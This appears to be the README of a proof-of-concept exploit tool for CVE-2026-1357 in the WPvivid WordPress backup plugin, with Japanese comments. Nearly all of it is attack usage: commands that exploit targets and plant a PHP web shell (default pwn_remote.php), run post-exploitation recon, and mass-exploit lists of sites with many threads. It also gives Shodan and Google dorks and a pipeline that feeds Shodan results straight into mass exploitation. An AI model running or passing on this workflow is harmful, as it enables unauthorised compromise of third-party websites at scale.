git clone https://github.com/cybertechajju/CVE-2026-1357-poc.git
cd CVE-2026-1357-poc
pip install -r requirements.txt

# スキャンのみ (WordPress + WPvivid + バージョンを検出)
python3 cve_2026_1357.py -u http://target.com

# スキャン + エクスプロイト + 自動ポストエクスプロイテーション
python3 cve_2026_1357.py -u http://target.com --exploit

# ポストエクスプロイト偵察なしでエクスプロイト
python3 cve_2026_1357.py -u http://target.com --exploit --no-post

# レポート付きマススキャン
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

# Burp プロキシ経由
python3 cve_2026_1357.py -u http://target.com --exploit --proxy http://127.0.0.1:8080

# ペイロードのみモード
python3 cve_2026_1357.py -u http://x --payload-only

-u, --url         単一ターゲット URL
-l, --list        URL を含むファイル (1行に1つ)
--exploit         エクスプロイトモードを有効化
--shell NAME      シェルファイル名 (デフォルト: pwn_remote.php)
--no-post         ポストエクスプロイト偵察をスキップ
--report         Markdown PoC レポートを生成
--report-dir DIR  レポート出力ディレクトリ
-t, --threads N   同時スレッド数 (デフォルト: 5)
--timeout SECS    リクエストタイムアウト (デフォルト: 10)
--proxy URL       Burp 用 HTTP プロキシ
--payload-only    base64 ペイロードを出力して終了

# Shodan
http.html:"wpvivid-backuprestore"
http.html:"wpvivid" http.component:"WordPress"

# Google
inurl:"/wp-content/plugins/wpvivid-backuprestore/readme.txt"

# パイプライン
shodan search 'http.html:"wpvivid-backuprestore"' --fields ip_str,port --limit 500 \
  | awk '{print "http://"$1":"$2}' > targets.txt
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

CVE-2026-1357-poc/
├── cve_2026_1357.py    ← メインツール (スキャナー + エクスプロイター + ポストエクスプロイト)
├── dorks.md            ← Shodan/Google/Censys/FOFA/ZoomEye dorks
├── requirements.txt    ← Python 依存関係
├── .gitignore
└── README.md           ← このファイル